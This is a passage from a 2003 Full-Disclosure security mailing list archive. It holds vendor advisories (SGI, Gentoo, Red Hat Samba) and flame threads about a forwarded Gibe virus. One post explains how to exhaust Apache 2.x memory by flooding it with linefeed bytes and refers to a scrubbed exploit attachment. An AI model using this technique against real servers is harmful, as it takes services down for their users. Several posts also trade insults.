http://oss.sgi.com/projects/ SGI patches for Windows NT or 2000 can be found at: http://support.sgi.com/ IRIX 5.2-6.4 Recommended/Required Patch Sets can be found at: http://support.sgi.com/ and ftp://patches.sgi.com/support/patchset/ IRIX 6.5 Maintenance Release Streams can be found at: http://support.sgi.com/ IRIX 6.5 Software Update CDs can be obtained from: http://support.sgi.com/ The primary SGI anonymous FTP site for security advisories and patches is patches.sgi.com (216.32.174.211). Security advisories and patches are located under the URL ftp://patches.sgi.com/support/free/security/ For security and patch management reasons, ftp.sgi.com (mirrors patches.sgi.com security FTP repository) lags behind and does not do a real-time update. - ----------------------------------------- - --- SGI Security Information/Contacts --- - ----------------------------------------- If there are questions about this document, email can be sent to security-info at sgi.com. ------oOo------ SGI provides security information and patches for use by the entire SGI community. This information is freely available to any person needing the information and is available via anonymous FTP and the Web. The primary SGI anonymous FTP site for security advisories and patches is patches.sgi.com (216.32.174.211). Security advisories and patches are located under the URL ftp://patches.sgi.com/support/free/security/ The SGI Security Headquarters Web page is accessible at the URL: http://www.sgi.com/support/security/ For issues with the patches on the FTP sites, email can be sent to security-info at sgi.com. For assistance obtaining or working with security patches, please contact your SGI support provider. ------oOo------ SGI provides a free security mailing list service called wiretap and encourages interested parties to self-subscribe to receive (via email) all SGI Security Advisories when they are released. Subscribing to the mailing list can be done via the Web (http://www.sgi.com/support/security/wiretap.html) or by sending email to SGI as outlined below. % mail wiretap-request at sgi.com subscribe wiretap end ^d In the example above, is the email address that you wish the mailing list information sent to. The word end must be on a separate line to indicate the end of the body of the message. The control-d (^d) is used to indicate to the mail program that you are finished composing the mail message. ------oOo------ SGI provides a comprehensive customer World Wide Web site. This site is located at http://www.sgi.com/support/security/ . ------oOo------ If there are general security questions on SGI systems, email can be sent to security-info at sgi.com. For reporting *NEW* SGI security issues, email can be sent to security-alert at sgi.com or contact your SGI support provider. A support contract is not required for submitting a security report. ______________________________________________________________________________ This information is provided freely to all interested parties and may be redistributed provided that it is not altered in any way, SGI is appropriately credited and the document retains and includes its valid PGP signature. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBPpNAabQ4cFApAP75AQHGdgQAo32ZH8SQy3rAQjA81mMqyuTO7KDL7OmT 2ekK0/6e9Hicx+zPKZ1Cb5YC8SHPfUcJJWc1WI29ylBwd/TBsdT52BOatuV6HSZd c+cQaND8Y9v8ZboBMnaC9MHtjMRk3wfb82G88rlmBRgzY4mG0DKzx/0T38wUr7ik ZOz56ftEW3I= =6PU9 -----END PGP SIGNATURE----- From Steve.Jeffers at Avnet.com Tue Apr 8 23:47:11 2003 From: Steve.Jeffers at Avnet.com (Jeffers, Steve (AZ)) Date: Tue, 8 Apr 2003 15:47:11 -0700 Subject: [Full-Disclosure] RE: Full-Disclosure digest, Vol 1 #715 - 2 msgs Message-ID: Please note the following detection of a virus. -----Original Message----- From: full-disclosure-request at lists.netsys.com [mailto:full-disclosure-request at lists.netsys.com] Sent: Tuesday, April 08, 2003 11:02 AM To: full-disclosure at lists.netsys.com Subject: Full-Disclosure digest, Vol 1 #715 - 2 msgs Network Associates WebShield SMTP V4.5 on amer07 detected virus W32/Gibe.gen at MM in attachment unknown from and it was Deleted and Quarantined. From mattmurphy at kc.rr.com Tue Apr 8 23:48:39 2003 From: mattmurphy at kc.rr.com (mattmurphy at kc.rr.com) Date: Tue, 8 Apr 2003 18:48:39 -0400 Subject: [Full-Disclosure] Exploit Code Released for Apache 2.x Memory Leak Message-ID: <29950-22003428224839770@M2W081.mail2web.com> "iDEFENSE Labs" writes: >II. DESCRIPTION > >Remote exploitation of a memory leak in the Apache HTTP Server causes the >daemon to over utilize system resources on an affected system. The problem >is HTTP Server's handling of large chunks of consecutive linefeed >characters. The web server allocates an eighty-byte buffer for each >linefeed character without specifying an upper limit for allocation. >Consequently, an attacker can remotely exhaust system resources by >generating many requests containing these characters. This is partially correct. Rather than "many requests containing these characters", the more effective strategy is "many instances of this character (these characters)". >III. ANALYSIS > >While this type of attack is most effective in an intranet setting, remote >exploitation over the Internet, while bandwidth intensive, is feasible. >Remote exploitation could consume system resources on a targeted system >and, in turn, render the Apache HTTP daemon unavailable. Isn't that the truth? In a few minutes, my Apache used some 390 MB of memory when tested. The statement that only 80 bytes is lost per newline understates the issue in my opinion. If we multiply: 2 newlines: 160 bytes 4 newlines: 320 bytes 8 newlines: 640 bytes 16 newlines: 1280 bytes 32 newlines: 2560 bytes 64 newlines: 5120 bytes 128 newlines: 10240 bytes 256 newlines: 20480 bytes 512 newlines: 40960 bytes 1024 newlines: 81920 bytes Worse, Apache doesn't require any form to the request what-so-ever, so 1 KB of 0x0A's is just as good as a well-formed request. Let's continue: 2 KB: 163840 bytes 4 KB: 655360 bytes 8 KB: 1310720 bytes 16 KB: 2621440 bytes That's nearly 2 MB leaked in response to 16 KB. And, this is just baseline figures of the actual leak itself, and doesn't take into account various other factors, including: * Other use of memory by Apache * The resources associated with the web session >iDEFENSE has performed research using proof of concept exploit code to >demonstrate the impact of this vulnerability. I'm not seeing any example code, so let's try the attached. "apache-massacre.c" allows the user to target a host/port of choice. It uses a single-connection method, and is stopped with a simple CTRL+C interrupt. It sends the data (which is patterns of "\r\n") in "chunks". It sends a pre-specified number of character sequences, and then checks the interrupt flag for a request to terminate. Deployed on a high-bandwidth connection (or a low-bandwidth connection with a lot of time to spare), Apache is disabled within seconds. The attached code compiles cleanly on Win32, and *should* compile on any system that is POSIX-compliant, and offers a BSD socket interface. >A successful exploitation scenario requires between two and >seven megabytes of traffic exchange. I hate to say, but I wonder where these figures come from. Obviously, a machine with a 16 MB RAM and a 512 MB hard drive is going to run out of resources incredibly faster than a machine with 512 MB RAM and a 100 GB hard drive is. Also, "between two and seven megabytes of traffic exchange" is very possible with a DDoSnet of some kind. With 10 connections at 1 mbps each (for a combined speed of 10 mbps), approximately 1,750,000 bytes (1.25 MB) is exchanged each second. This same speed is reached by the full upload rates of many LAN-based providers (schools, for instance). Further, a single cable modem has a link rate of 10 mbps, held down only by ISP capping. In the situation of such a network (or, a single uncapped cable modem), the entire traffic exchange rate is hit within one second. -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . -------------- next part -------------- A non-text attachment was scrubbed... Name: apache-massacre.c Type: application/octet-stream Size: 5406 bytes Desc: apache-massacre.c Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030408/31d4aba3/attachment.obj From brad.knowles at skynet.be Tue Apr 8 23:05:46 2003 From: brad.knowles at skynet.be (Brad Knowles) Date: Wed, 9 Apr 2003 00:05:46 +0200 Subject: MCAFEE E-MAIL SCAN ALERT!~[FULL-DISCLOSURE] FWD: INTERNET SECURITY UPDATE In-Reply-To: <011101c2fe09$e12f2800$7044cd3e@INTERNET> References: <011101c2fe09$e12f2800$7044cd3e@INTERNET> Message-ID: At 10:03 PM +0200 2003/04/08, Nicolas Villatte wrote: > Are you stupid? You are sending a virus on the list, of course this is not > a Microsoft Security announcement Obviously, I'm not the only person on this list who has received messages like this in the past, and who tried to do some searches on the 'net, and didn't find anything. Is there any reason why the only assholes on this list appear to be from Belgium? -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From brad.knowles at skynet.be Tue Apr 8 23:12:55 2003 From: brad.knowles at skynet.be (Brad Knowles) Date: Wed, 9 Apr 2003 00:12:55 +0200 Subject: [Full-Disclosure] Fwd: Internet Security Update In-Reply-To: References: Message-ID: At 4:20 PM -0500 2003/04/08, Ron DuFresne wrote: > One might think that all these technically inclined folks might have a > clue looking at the headers and noting not a single reference back towards > a M$ system?! Maybe not Oh, I checked the headers. Any time I get a message that I consider to be the least bit suspicious, this is one of the first things I check. My point was not that I thought this was from Microsoft, my point was that this appeared to be the results of a virus or Trojan Horse that I had not heard of, and through my searches I was not able to turn up any related information. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From brad.knowles at skynet.be Tue Apr 8 23:44:05 2003 From: brad.knowles at skynet.be (Brad Knowles) Date: Wed, 9 Apr 2003 00:44:05 +0200 Subject: [Full-Disclosure] Fwd: Internet Security Update In-Reply-To: <0HD100KUBOQP5N@smtp2.clear.net.nz> References: <0HD100KUBOQP5N@smtp2.clear.net.nz> Message-ID: At 9:51 AM +1300 2003/04/09, Nick FitzGerald wrote: > What did you search for??? Various strings that appeared in the message, including "April 2003, Cumulative Patch", "Microsoft Product Support Services", "goregwiz.asp", etc.... > Note the obvious (to native English speakers) grammatical error > common to folk who learnt English as a second language who often > struggle with articles? This is irrelevant. It was pretty obvious that this was not a real Microsoft security announcement. No amount of your whipping a dead horse will convince me that this might possibly have been something that I was thinking of. My point was that this appeared to be the results of a virus or Trojan Horse that I had not previously heard of, that I had done reasonable searches using general-purpose search engines as well as the virus/Trojan Horse/hoax-specific engines provided by the anti-virus vendors, and was wondering if anyone else had any other information. > Googling for the phrase "this is the latest version of security > update" turned up about 780 hits, the first ten of which were all > antivirus developer virus descriptions or various security company or > security service teams' warnings about the (then) new Gibe.B virus. That is not one of the phrases that I happened to Google for. I searched on what I considered to be the obvious phrases, and did not get any hits. > Finally, isn't it illegal in Belgium to spread viruses? I hope any > members of your local constabulary on this list take a lenient view > of your including what you clearly thought was a suspicious > attachment (and is, in fact, a virus) in your post to many thousands > of people... Ahh, okay. So being an asshole is a European thing, and not just restricted to the Belgians. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From nick at virus-l.demon.co.uk Tue Apr 8 23:55:58 2003 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Wed, 09 Apr 2003 11:55:58 +1300 Subject: [Full-Disclosure] Spam Arrest stupidity Message-ID: <0HD10041OUHBH4@smtp2.clear.net.nz> To the list admins... Please remove this twat from Full-Disclosure. His choice of anti-spam method clearly shows he is too stupid to understand or benefit from anything on this list so his annoyance value to the list's posters is unjustified... ------------------------------------------------------------------- From: Kevin Reply-To: Kevin To: nick at virus-l.demon.co.uk Subject: RE: Re: [Full-Disclosure] Fwd: Internet Security Update (verification) Date: Tue, 08 Apr 2003 17:28:17 -0500 Kevin here, I'm protecting myself from receiving junk mail. Just this once, click the link below so I can receive your emails. You won't have to do this again. http://spamarrest.com/<> Spam Arrest - Take control of your inbox! <> ------------------------------------------------------------------- (And, it was firking HTML Email at that. Why????) Regards, Nick FitzGerald From erc at pobox.com Wed Apr 9 00:56:12 2003 From: erc at pobox.com (Ed Carp) Date: Tue, 8 Apr 2003 18:56:12 -0500 Subject: [Full-Disclosure] Fwd: Internet Security Update In-Reply-To: Message-ID: > > What did you search for??? > > Various strings that appeared in the message, including "April > 2003, Cumulative Patch", "Microsoft Product Support Services", > "goregwiz.asp", etc.... Bread, Brad, Brad ... if you're going to play the game, you gotta know the players, and how it's played, otherwise you come off as a novice. Go to snopes.com, search for "Microsoft". Look at #3 and #4. Mission accomplished. From dufresne at winternet.com Wed Apr 9 00:58:22 2003 From: dufresne at winternet.com (Ron DuFresne) Date: Tue, 8 Apr 2003 18:58:22 -0500 (CDT) Subject: [Full-Disclosure] Fwd: Internet Security Update In-Reply-To: Message-ID: and yet the information had been diseminated, and if I recall, M$ itself sent out an announcment weeks ago on this. Thanks, Ron DuFresne On Wed, 9 Apr 2003, Brad Knowles wrote: > At 9:51 AM +1300 2003/04/09, Nick FitzGerald wrote: > > > What did you search for??? > > Various strings that appeared in the message, including "April > 2003, Cumulative Patch", "Microsoft Product Support Services", > "goregwiz.asp", etc.... > > > Note the obvious (to native English speakers) grammatical error > > common to folk who learnt English as a second language who often > > struggle with articles? > > This is irrelevant. It was pretty obvious that this was not a > real Microsoft security announcement. No amount of your whipping a > dead horse will convince me that this might possibly have been > something that I was thinking of. > > My point was that this appeared to be the results of a virus or > Trojan Horse that I had not previously heard of, that I had done > reasonable searches using general-purpose search engines as well as > the virus/Trojan Horse/hoax-specific engines provided by the > anti-virus vendors, and was wondering if anyone else had any other > information. > > > Googling for the phrase "this is the latest version of security > > update" turned up about 780 hits, the first ten of which were all > > antivirus developer virus descriptions or various security company or > > security service teams' warnings about the (then) new Gibe.B virus. > > That is not one of the phrases that I happened to Google for. I > searched on what I considered to be the obvious phrases, and did not > get any hits. > > > Finally, isn't it illegal in Belgium to spread viruses? I hope any > > members of your local constabulary on this list take a lenient view > > of your including what you clearly thought was a suspicious > > attachment (and is, in fact, a virus) in your post to many thousands > > of people... > > Ahh, okay. So being an asshole is a European thing, and not just > restricted to the Belgians. > > -- > Brad Knowles, > > "They that can give up essential liberty to obtain a little temporary > safety deserve neither liberty nor safety." > -Benjamin Franklin, Historical Review of Pennsylvania. > > GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ > !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) > tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "Cutting the space budget really restores my faith in humanity. It eliminates dreams, goals, and ideals and lets us get straight to the business of hate, debauchery, and self-annihilation." -- Johnny Hart ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. From dufresne at winternet.com Wed Apr 9 02:00:27 2003 From: dufresne at winternet.com (Ron DuFresne) Date: Tue, 8 Apr 2003 20:00:27 -0500 (CDT) Subject: [Full-Disclosure] Spam Arrest stupidity In-Reply-To: <0HD10041OUHBH4@smtp2.clear.net.nz> Message-ID: Seconding that motion, note over-triggered profanity protections like this are about as lame: Date: Tue, 08 Apr 2003 17:38:03 -0700 From: WDS MMS Notifier To: Ron DuFresne Subject: Message rejected - Profanity Rule Triggered This e-mail contains language that Washington Dental Service has deemed inappropriate for business purposes; therefore, our server has blocked delivery to intended recipient. Subject: Re: [Full-Disclosure] Fwd: Internet Security Update From: "Ron DuFresne" To: If you believe the above email to be business related please reply to this notice and request the message to be released to its intended recipients. Thanks, Ron DuFresne On Wed, 9 Apr 2003, Nick FitzGerald wrote: > To the list admins... > > Please remove this twat from Full-Disclosure. His choice of > anti-spam method clearly shows he is too stupid to understand or > benefit from anything on this list so his annoyance value to the > list's posters is unjustified... > > ------------------------------------------------------------------- > From: Kevin > Reply-To: Kevin > To: nick at virus-l.demon.co.uk > Subject: RE: Re: [Full-Disclosure] Fwd: Internet Security Update (verification) > Date: Tue, 08 Apr 2003 17:28:17 -0500 > > Kevin here, > > I'm protecting myself from receiving junk mail. > > > Just this once, click the link below so I can receive your emails. > You won't have to do this again. > > http://spamarrest.com/<> > > > Spam Arrest - Take control of your inbox! > <> > ------------------------------------------------------------------- > > (And, it was firking HTML Email at that. Why????) > > > Regards, > > Nick FitzGerald > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "Cutting the space budget really restores my faith in humanity. It eliminates dreams, goals, and ideals and lets us get straight to the business of hate, debauchery, and self-annihilation." -- Johnny Hart ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. From BlueBoar at thievco.com Wed Apr 9 02:01:19 2003 From: BlueBoar at thievco.com (Blue Boar) Date: Tue, 08 Apr 2003 18:01:19 -0700 Subject: [Full-Disclosure] Spam Arrest stupidity In-Reply-To: <0HD10041OUHBH4@smtp2.clear.net.nz> References: <0HD10041OUHBH4@smtp2.clear.net.nz> Message-ID: <3E9370DF.1080300@thievco.com> Nick FitzGerald wrote: > To the list admins... > > Please remove this twat from Full-Disclosure. His choice of > anti-spam method clearly shows he is too stupid to understand or > benefit from anything on this list so his annoyance value to the > list's posters is unjustified... I'm constantly amused by people that think Mitnick doesn't know anything technical. Since I have some idea about the kinds of things he knows, I know who the ignorant one is. Twice in one day Nick, people are going to start thinking you're antisocial. :) BB From shrdlu at deaddrop.org Wed Apr 9 00:54:05 2003 From: shrdlu at deaddrop.org (Etaoin Shrdlu) Date: Tue, 08 Apr 2003 16:54:05 -0700 Subject: [Full-Disclosure] RE: Full-Disclosure digest, Vol 1 #715 - 2 msgs References: Message-ID: <3E93611D.8639248E@deaddrop.org> "Jeffers, Steve (AZ)" wrote: ...as did MANY others... > Please note the following detection of a virus. Puh-leeze, folks. Turn the dang things off, ok? This is a full-disclosure list. If your mail agents are going to puke every time something virus-looking crosses their threshold, at least be kind enough not to share it with the rest of us. We KNOW it was a virus. That's what Brad said. He thought it was a virus or trojan. > Network Associates WebShield SMTP V4.5 on amer07 detected virus > W32/Gibe.gen at MM in attachment unknown from > and it was Deleted and Quarantined. So what do we take away with this message? Do we know something that we didn't before you felt it necessary to add to the noise? Yippee whatever. Nice that your virus scanner kept you from seeing the truly entertaining joke of the week. There were three or four interesting comments on this (although some of them could have been phrased a bit kinder, Nick), and a whole bunch of "Wow! My virus scanner detected a virus!" Uh-huh. If you are reading a mailing list that is talking about vulnerabilities, and you are doing it from a mail client that is as vulnerable as LookOut, you have bigger problems than the cross site scripting bug of the week. I get viruses embedded in .wav files all the time. Even if I was using something that had a sound card, I sure wouldn't use a mail reader that wanted to open it. Ah, well. Back to the next buffer overflow. -- In the end, we will remember not the words of our enemies, but the silence of our friends. Martin Luther King From mosten at bleepyou.com Wed Apr 9 03:17:06 2003 From: mosten at bleepyou.com (Michael Osten) Date: 08 Apr 2003 21:17:06 -0500 Subject: [Full-Disclosure] Spam Arrest stupidity In-Reply-To: <0HD10041OUHBH4@smtp2.clear.net.nz> References: <0HD10041OUHBH4@smtp2.clear.net.nz> Message-ID: <1049854628.8829.3.camel@laptop.bleepyou.com> On Tue, 2003-04-08 at 17:55, Nick FitzGerald wrote: > To the list admins... > > Please remove this twat from Full-Disclosure. His choice of > anti-spam method clearly shows he is too stupid to understand or > benefit from anything on this list so his annoyance value to the > list's posters is unjustified... Nick has a point. Every list member gets a reply from this guy's spam filter asking them to add themselves to his whitelist. It is annoying. Opt-in mailboxes are stupid. Hey Kevin, try spamassassin instead. I get zero spam. -- --------------------------- Michael Osten From mosten at bleepyou.com Wed Apr 9 03:29:38 2003 From: mosten at bleepyou.com (Michael Osten) Date: 08 Apr 2003 21:29:38 -0500 Subject: [Full-Disclosure] Spam Arrest stupidity In-Reply-To: <3E9370DF.1080300@thievco.com> References: <0HD10041OUHBH4@smtp2.clear.net.nz> <3E9370DF.1080300@thievco.com> Message-ID: <1049855379.8829.11.camel@laptop.bleepyou.com> On Tue, 2003-04-08 at 20:01, Blue Boar wrote: > Nick FitzGerald wrote: > > To the list admins... > > > > Please remove this twat from Full-Disclosure. His choice of > > anti-spam method clearly shows he is too stupid to understand or > > benefit from anything on this list so his annoyance value to the > > list's posters is unjustified... > > I'm constantly amused by people that think Mitnick doesn't know anything > technical. Since I have some idea about the kinds of things he knows, I > know who the ignorant one is. > > Twice in one day Nick, people are going to start thinking you're antisocial. :) Well, this proves that he doesn't know that it is not polite to make public mailing list members jump through hoops (or waste resources if they do not feel like jumping through the hoop) just to get an email to him. I mean the guy hasn't had access to email for years, he can't be that tired of spam yet :) With his personal mail he can do what ever he wants, although IMHO, I think that opt-in email is short sighted. Hey Kevin, if you need/want a mail address that doesn't piss off the list, contact me off list. Otherwise take a look at http://www.spamassassin.org -- --------------------------- Michael Osten From spamarrest at virus-l.demon.co.uk Wed Apr 9 02:06:11 2003 From: spamarrest at virus-l.demon.co.uk (Nick FitzGerald) Date: Wed, 09 Apr 2003 14:06:11 +1300 Subject: MCAFEE E-MAIL SCAN ALERT!~[FULL-DISCLOSURE] FWD: INTERNET S In-Reply-To: References: <011101c2fe09$e12f2800$7044cd3e@INTERNET> Message-ID: <0HD2009X30ILBW@smtp1.clear.net.nz> Brad Knowles (@skynet.be) replied to Nicolas Villatte: > > Are you stupid? You are sending a virus on the list, of course this is not > > a Microsoft Security announcement > > Obviously, I'm not the only person on this list who has received > messages like this in the past, and who tried to do some searches on > the 'net, and didn't find anything. The searching and failing is not what Nicolas said makes you stupid. The searching and failing then asking here is not what Nicolas said makes you stupid. What he, and several others of us, said makes you stupid is that you _forwarded the whole message when you suspected the attachment was a virus or something similar_. Your inability to accept that that was extremely stupid is seen as quite reasonably reinforcing that belief. > Is there any reason why the only assholes on this list appear to > be from Belgium? Lemme guess -- its the "national be an asshole day" in Belgium today? (I guess I will get another bounce from Washington Dental Services. It seems "tw*t" was too un-businesslike for WDS -- here it means something like "idiot" or "moron" -- so I guess the use of "asshole" in this message will upset their "profanity detector" too...) Regards, Nick FitzGerald From Nicolas.Villatte at advalvas.be Wed Apr 9 07:01:54 2003 From: Nicolas.Villatte at advalvas.be (Nicolas Villatte) Date: Wed, 9 Apr 2003 08:01:54 +0200 Subject: MCAFEE E-MAIL SCAN ALERT!~[FULL-DISCLOSURE] FWD: INTERNET SECURITY UPDATE In-Reply-To: Message-ID: <001601c2fe5d$85808040$7044cd3e@INTERNET> So you did it on purpose. Spreading unsolicited virus may be considered a crime in many countries. I think you should better - expose your problem without sending the virus to a whole community (send it only if anyone is interested in helping you and is asking for it) - update your antivirus software more often - try some reverse engineering on the suspected file Best regards, Nicolas. -----Original Message----- From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Brad Knowles Sent: Wednesday, April 09, 2003 12:06 AM To: Nicolas Villatte Cc: 'Brad Knowles'; 'Full Disclosure Mailing List' Subject: RE : MCAFEE E-MAIL SCAN ALERT!~[FULL-DISCLOSURE] FWD: INTERNET SECURITY UPDATE At 10:03 PM +0200 2003/04/08, Nicolas Villatte wrote: > Are you stupid? You are sending a virus on the list, of course this is not > a Microsoft Security announcement Obviously, I'm not the only person on this list who has received messages like this in the past, and who tried to do some searches on the 'net, and didn't find anything. Is there any reason why the only assholes on this list appear to be from Belgium? -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 3374 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030409/3fa82320/attachment.bin From aliz at gentoo.org Wed Apr 9 09:07:02 2003 From: aliz at gentoo.org (Daniel Ahlberg) Date: Wed, 9 Apr 2003 10:07:02 +0200 Subject: [Full-Disclosure] GLSA: apache (200304-01) Message-ID: <20030409080703.56F1E33A88@mail1.tamperd.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - --------------------------------------------------------------------- GENTOO LINUX SECURITY ANNOUNCEMENT 200304-01 - - --------------------------------------------------------------------- PACKAGE : apache SUMMARY : Denial of service in Apache 2.x DATE : 2003-04-09 08:06 UTC EXPLOIT : remote VERSIONS AFFECTED : 2.0.0-2.0.44 FIXED VERSION : >=2.0.45 CVE : CAN-2003-0132 - - --------------------------------------------------------------------- - From advisory: "Remote exploitation of a memory leak in the Apache HTTP Server causes the daemon to over utilize system resources on an affected system. The problem is HTTP Server's handling of large chunks of consecutive linefeed characters. The web server allocates an eighty-byte buffer for each linefeed character without specifying an upper limit for allocation. Consequently, an attacker can remotely exhaust system resources by generating many requests containing these characters." Read the full advisory at: http://www.idefense.com/advisory/04.08.03.txt SOLUTION It is recommended that all Gentoo Linux users who are running net-www/apache version 2 upgrade to apache-2.0.45 as follows: emerge sync emerge \=net-www/apache-2.0.45 emerge clean - - --------------------------------------------------------------------- aliz at gentoo.org - GnuPG key is available at http://cvs.gentoo.org/~aliz - - --------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+k9ScfT7nyhUpoZMRAjRsAKCOSha1aZfqiR5D8HuCwBcpwXenLACfYDTD Nd0j+dcq/hf5VZ7FJ7H173Q= =8BkJ -----END PGP SIGNATURE----- From bugzilla at redhat.com Wed Apr 9 09:27:00 2003 From: bugzilla at redhat.com (bugzilla at redhat.com) Date: Wed, 9 Apr 2003 04:27 -0400 Subject: [Full-Disclosure] [RHSA-2003:137-02] New samba packages fix security vulnerability Message-ID: <200304090827.h398Rbs31136@porkchop.devel.redhat.com> --------------------------------------------------------------------- Red Hat Security Advisory Synopsis: New samba packages fix security vulnerability Advisory ID: RHSA-2003:137-02 Issue date: 2003-04-08 Updated on: 2003-04-09 Product: Red Hat Linux Keywords: smb Cross references: Obsoletes: RHSA-2003:095 CVE Names: CAN-2003-0196 CAN-2003-0201 --------------------------------------------------------------------- 1. Topic: Updated Samba packages that fix a security vulnerability are now available. [Updated 9 April 2003] Fixed Samba packages for Red Hat Linux 7.1 have been added to this erratum. 2. Relevant releases/architectures: Red Hat Linux 7.1 - i386 Red Hat Linux 7.2 - i386, ia64 Red Hat Linux 7.3 - i386 Red Hat Linux 8.0 - i386 Red Hat Linux 9 - i386 3. Problem description: Samba is a suite of utilities which provide file and printer sharing services to SMB/CIFS clients. A security vulnerability has been found in versions of Samba up to and including 2.2.8. An anonymous user could exploit the vulnerability to gain root access on the target machine. Note that this is a different vulnerability than the one fixed by RHSA-2003:095. An exploit for this vulnerability is publicly available. All users of Samba are advised to update to the packages listed in this erratum, which contain a backported patch correcting this vulnerability. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 86307 - Netlogon causes DoS since upgrade to latest update 82041 - ignores wide links, serving files which shouldn't be served 6. RPMs required: Red Hat Linux 7.1: SRPMS: ftp://updates.redhat.com/7.1/en/os/SRPMS/samba-2.0.10-5.7.1.src.rpm i386: ftp://updates.redhat.com/7.1/en/os/i386/samba-2.0.10-5.7.1.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/samba-common-2.0.10-5.7.1.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/samba-swat-2.0.10-5.7.1.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/samba-client-2.0.10-5.7.1.i386.rpm Red Hat Linux 7.2: SRPMS: ftp://updates.redhat.com/7.2/en/os/SRPMS/samba-2.2.7-3.7.2.src.rpm i386: ftp://updates.redhat.com/7.2/en/os/i386/samba-2.2.7-3.7.2.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/samba-common-2.2.7-3.7.2.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/samba-client-2.2.7-3.7.2.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/samba-swat-2.2.7-3.7.2.i386.rpm ia64: ftp://updates.redhat.com/7.2/en/os/ia64/samba-2.2.7-3.7.2.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/samba-common-2.2.7-3.7.2.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/samba-client-2.2.7-3.7.2.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/samba-swat-2.2.7-3.7.2.ia64.rpm Red Hat Linux 7.3: SRPMS: ftp://updates.redhat.com/7.3/en/os/SRPMS/samba-2.2.7-3.7.3.src.rpm i386: ftp://updates.redhat.com/7.3/en/os/i386/samba-2.2.7-3.7.3.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/samba-common-2.2.7-3.7.3.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/samba-client-2.2.7-3.7.3.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/samba-swat-2.2.7-3.7.3.i386.rpm Red Hat Linux 8.0: SRPMS: ftp://updates.redhat.com/8.0/en/os/SRPMS/samba-2.2.7-5.8.0.src.rpm i386: ftp://updates.redhat.com/8.0/en/os/i386/samba-2.2.7-5.8.0.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/samba-common-2.2.7-5.8.0.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/samba-client-2.2.7-5.8.0.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/samba-swat-2.2.7-5.8.0.i386.rpm Red Hat Linux 9: SRPMS: ftp://updates.redhat.com/9/en/os/SRPMS/samba-2.2.7a-8.9.0.src.rpm i386: ftp://updates.redhat.com/9/en/os/i386/samba-2.2.7a-8.9.0.i386.rpm ftp://updates.redhat.com/9/en/os/i386/samba-common-2.2.7a-8.9.0.i386.rpm 